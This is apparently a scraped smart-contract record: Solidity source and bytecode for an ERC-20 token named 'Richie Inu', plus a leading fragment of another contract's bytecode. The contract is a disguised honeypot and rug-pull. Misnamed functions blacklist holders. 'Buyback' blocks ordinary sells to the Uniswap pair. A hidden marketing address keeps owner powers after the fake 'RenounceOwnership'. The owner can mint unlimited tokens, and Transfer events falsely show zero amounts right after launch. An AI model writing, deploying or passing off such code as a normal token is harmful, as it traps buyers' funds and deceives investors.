260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290611354565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610fb2565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610d7e565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610bdf578082015181840152602081019050610bc4565b83811115610bee576000848401525b50505050565b6000601f19601f8301169050919050565b6000610c1082610ba5565b610c1a8185610bb0565b9350610c2a818560208601610bc1565b610c3381610bf4565b840191505092915050565b60006020820190508181036000830152610c588184610c05565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610c9082610c65565b9050919050565b610ca081610c85565b8114610cab57600080fd5b50565b600081359050610cbd81610c97565b92915050565b6000819050919050565b610cd681610cc3565b8114610ce157600080fd5b50565b600081359050610cf381610ccd565b92915050565b60008060408385031215610d1057610d0f610c60565b5b6000610d1e85828601610cae565b9250506020610d2f85828601610ce4565b9150509250929050565b60008115159050919050565b610d4e81610d39565b82525050565b6000602082019050610d696000830184610d45565b92915050565b610d7881610cc3565b82525050565b6000602082019050610d936000830184610d6f565b92915050565b600080600060608486031215610db257610db1610c60565b5b6000610dc086828701610cae565b9350506020610dd186828701610cae565b9250506040610de286828701610ce4565b9150509250925092565b600060ff82169050919050565b610e0281610dec565b82525050565b6000602082019050610e1d6000830184610df9565b92915050565b600060208284031215610e3957610e38610c60565b5b6000610e4784828501610cae565b91505092915050565b60008060408385031215610e6757610e66610c60565b5b6000610e7585828601610cae565b9250506020610e8685828601610cae565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680610ed757607f821691505b60208210811415610eeb57610eea610e90565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000610f4d602883610bb0565b9150610f5882610ef1565b604082019050919050565b60006020820190508181036000830152610f7c81610f40565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610fbd82610cc3565b9150610fc883610cc3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610ffd57610ffc610f83565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611064602583610bb0565b915061106f82611008565b604082019050919050565b6000602082019050818103600083015261109381611057565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006110f6602483610bb0565b91506111018261109a565b604082019050919050565b60006020820190508181036000830152611125816110e9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611188602283610bb0565b91506111938261112c565b604082019050919050565b600060208201905081810360008301526111b78161117b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061121a602583610bb0565b9150611225826111be565b604082019050919050565b600060208201905081810360008301526112498161120d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006112ac602383610bb0565b91506112b782611250565b604082019050919050565b600060208201905081810360008301526112db8161129f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061133e602683610bb0565b9150611349826112e2565b604082019050919050565b6000602082019050818103600083015261136d81611331565b905091905056fea264697066735822122088744b5cfa2f9dfcff21905fa61b40d10dd6d587d059f8bd5b5bd00ca5f17e3264736f6c634300080a0033
|
{"success": true, "error": null, "results": {}}
| 8,739 |
0xc99187a55d4e974961ff51c9d5592c8af62e869a
|
// https://t.me/richietoken
// https://www.richietokenerc.com/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract RichieInu is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 1000000*10**18;
string public _name = "Richie Inu";
string public _symbol= "Richie";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0x4EFaf79dF4A18623b02B618e51616f27aF0a9091);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function ExcludeFromFees(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function BlackListBot(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = false;
}
}
function Buyback() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function EnableTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function AirdropTokens(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x6080604052600436106101395760003560e01c80636ebcf607116100ab57806395d89b411161006f57806395d89b411461040d578063a6f9dae114610438578063a9059cbb14610461578063b09f12661461049e578063d28d8852146104c9578063dd62ed3e146104f457610140565b80636ebcf6071461032857806370a0823114610365578063819a965c146103a25780638916d829146103b95780638da5cb5b146103e257610140565b806321b0033a116100fd57806321b0033a1461022c57806323b872dd14610255578063313ce567146102925780633a3209f1146102bd5780633eaaf86b146102e65780636e4ee8111461031157610140565b8063024c2ddd1461014557806306fdde0314610182578063095ea7b3146101ad57806318160ddd146101ea5780631d97b7cd1461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061016c600480360381019061016791906120a4565b610531565b60405161017991906127b2565b60405180910390f35b34801561018e57600080fd5b50610197610556565b6040516101a49190612690565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf919061212f565b6105e8565b6040516101e1919061265a565b60405180910390f35b3480156101f657600080fd5b506101ff610606565b60405161020c91906127b2565b60405180910390f35b34801561022157600080fd5b5061022a610610565b005b34801561023857600080fd5b50610253600480360381019061024e919061216b565b610b5f565b005b34801561026157600080fd5b5061027c600480360381019061027791906120e0565b610ccc565b604051610289919061265a565b60405180910390f35b34801561029e57600080fd5b506102a7610dc4565b6040516102b491906127cd565b60405180910390f35b3480156102c957600080fd5b506102e460048036038101906102df919061216b565b610dcd565b005b3480156102f257600080fd5b506102fb610f3a565b60405161030891906127b2565b60405180910390f35b34801561031d57600080fd5b50610326610f40565b005b34801561033457600080fd5b5061034f600480360381019061034a9190612052565b611037565b60405161035c91906127b2565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190612052565b61104f565b60405161039991906127b2565b60405180910390f35b3480156103ae57600080fd5b506103b7611097565b005b3480156103c557600080fd5b506103e060048036038101906103db919061212f565b6111c9565b005b3480156103ee57600080fd5b506103f76113cf565b604051610404919061258c565b60405180910390f35b34801561041957600080fd5b506104226113f5565b60405161042f9190612690565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a9190612052565b611487565b005b34801561046d57600080fd5b506104886004803603810190610483919061212f565b61157d565b604051610495919061265a565b60405180910390f35b3480156104aa57600080fd5b506104b361159b565b6040516104c09190612690565b60405180910390f35b3480156104d557600080fd5b506104de611629565b6040516104eb9190612690565b60405180910390f35b34801561050057600080fd5b5061051b600480360381019061051691906120a4565b6116b7565b60405161052891906127b2565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461056590612951565b80601f016020809104026020016040519081016040528092919081815260200182805461059190612951565b80156105de5780601f106105b3576101008083540402835291602001916105de565b820191906000526020600020905b8154815290600101906020018083116105c157829003601f168201915b5050505050905090565b60006105fc6105f561173e565b8484611746565b6001905092915050565b6000600654905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806106b95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6106c257600080fd5b600960019054906101000a900460ff1615610712576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070990612792565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061079b30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611746565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e157600080fd5b505afa1580156107f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610819919061207b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561087b57600080fd5b505afa15801561088f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b3919061207b565b6040518363ffffffff1660e01b81526004016108d09291906125a7565b602060405180830381600087803b1580156108ea57600080fd5b505af11580156108fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610922919061207b565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109ab3061104f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016109f3969594939291906125f9565b6060604051808303818588803b158015610a0c57600080fd5b505af1158015610a20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a4591906121d5565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b099291906125d0565b602060405180830381600087803b158015610b2357600080fd5b505af1158015610b37573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5b91906121ac565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c085750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1157600080fd5b60005b8151811015610cc857600160036000848481518110610c5c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cc090612983565b915050610c14565b5050565b6000610cd9848484611911565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d2461173e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9b90612732565b60405180910390fd5b610db885610db061173e565b858403611746565b60019150509392505050565b60006012905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e765750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e7f57600080fd5b60005b8151811015610f3657600060036000848481518110610eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f2e90612983565b915050610e82565b5050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fe95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff257600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111405750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114957600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806112725750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61127b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612712565b60405180910390fd5b6112f760008383611f4e565b80600660008282546113099190612861565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461135e9190612861565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113c391906127b2565b60405180910390a35050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461140490612951565b80601f016020809104026020016040519081016040528092919081815260200182805461143090612951565b801561147d5780601f106114525761010080835404028352916020019161147d565b820191906000526020600020905b81548152906001019060200180831161146057829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806115305750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61153957600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061159161158a61173e565b8484611911565b6001905092915050565b600880546115a890612951565b80601f01602080910402602001604051908101604052809291908181526020018280546115d490612951565b80156116215780601f106115f657610100808354040283529160200191611621565b820191906000526020600020905b81548152906001019060200180831161160457829003601f168201915b505050505081565b6007805461163690612951565b80601f016020809104026020016040519081016040528092919081815260200182805461166290612951565b80156116af5780601f10611684576101008083540402835291602001916116af565b820191906000526020600020905b81548152906001019060200180831161169257829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ad90612772565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181d906126d2565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161190491906127b2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890612752565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156119df57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a835750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a8c57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bde57600960009054906101000a900460ff1680611b465750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611b9e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd4906126b2565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611c465750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611c9e5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611cd457503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611cdd57600080fd5b611ce8838383611f4e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d65906126f2565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e019190612861565b92505081905550436004600b54611e189190612861565b118015611e725750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611ee2578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611ed59190612675565b60405180910390a3611f48565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f3f91906127b2565b60405180910390a35b50505050565b505050565b6000611f66611f6184612819565b6127e8565b90508083825260208201905082856020860282011115611f8557600080fd5b60005b85811015611fb55781611f9b8882611fbf565b845260208401935060208301925050600181019050611f88565b5050509392505050565b600081359050611fce81612a6a565b92915050565b600081519050611fe381612a6a565b92915050565b600082601f830112611ffa57600080fd5b813561200a848260208601611f53565b91505092915050565b60008151905061202281612a81565b92915050565b60008135905061203781612a98565b92915050565b60008151905061204c81612a98565b92915050565b60006020828403121561206457600080fd5b600061207284828501611fbf565b91505092915050565b60006020828403121561208d57600080fd5b600061209b84828501611fd4565b91505092915050565b600080604083850312156120b757600080fd5b60006120c585828601611fbf565b92505060206120d685828601611fbf565b9150509250929050565b6000806000606084860312156120f557600080fd5b600061210386828701611fbf565b935050602061211486828701611fbf565b925050604061212586828701612028565b9150509250925092565b6000806040838503121561214257600080fd5b600061215085828601611fbf565b925050602061216185828601612028565b9150509250929050565b60006020828403121561217d57600080fd5b600082013567ffffffffffffffff81111561219757600080fd5b6121a384828501611fe9565b91505092915050565b6000602082840312156121be57600080fd5b60006121cc84828501612013565b91505092915050565b6000806000606084860312156121ea57600080fd5b60006121f88682870161203d565b93505060206122098682870161203d565b925050604061221a8682870161203d565b9150509250925092565b61222d816128b7565b82525050565b61223c816128c9565b82525050565b61224b8161290c565b82525050565b600061225c82612845565b6122668185612850565b935061227681856020860161291e565b61227f81612a59565b840191505092915050565b6000612297602383612850565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006122fd602283612850565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612363602683612850565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123c9601f83612850565b91507f45524332303a206275726e20746f20746865207a65726f2061646472657373006000830152602082019050919050565b6000612409602883612850565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b600061246f602583612850565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124d5602483612850565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061253b601783612850565b91507f74726164696e6720697320616c7265616479206f70656e0000000000000000006000830152602082019050919050565b612577816128f5565b82525050565b612586816128ff565b82525050565b60006020820190506125a16000830184612224565b92915050565b60006040820190506125bc6000830185612224565b6125c96020830184612224565b9392505050565b60006040820190506125e56000830185612224565b6125f2602083018461256e565b9392505050565b600060c08201905061260e6000830189612224565b61261b602083018861256e565b6126286040830187612242565b6126356060830186612242565b6126426080830185612224565b61264f60a083018461256e565b979650505050505050565b600060208201905061266f6000830184612233565b92915050565b600060208201905061268a6000830184612242565b92915050565b600060208201905081810360008301526126aa8184612251565b905092915050565b600060208201905081810360008301526126cb8161228a565b9050919050565b600060208201905081810360008301526126eb816122f0565b9050919050565b6000602082019050818103600083015261270b81612356565b9050919050565b6000602082019050818103600083015261272b816123bc565b9050919050565b6000602082019050818103600083015261274b816123fc565b9050919050565b6000602082019050818103600083015261276b81612462565b9050919050565b6000602082019050818103600083015261278b816124c8565b9050919050565b600060208201905081810360008301526127ab8161252e565b9050919050565b60006020820190506127c7600083018461256e565b92915050565b60006020820190506127e2600083018461257d565b92915050565b6000604051905081810181811067ffffffffffffffff8211171561280f5761280e612a2a565b5b8060405250919050565b600067ffffffffffffffff82111561283457612833612a2a565b5b602082029050602081019050919050565b600081519050919050565b6000828252602082019050929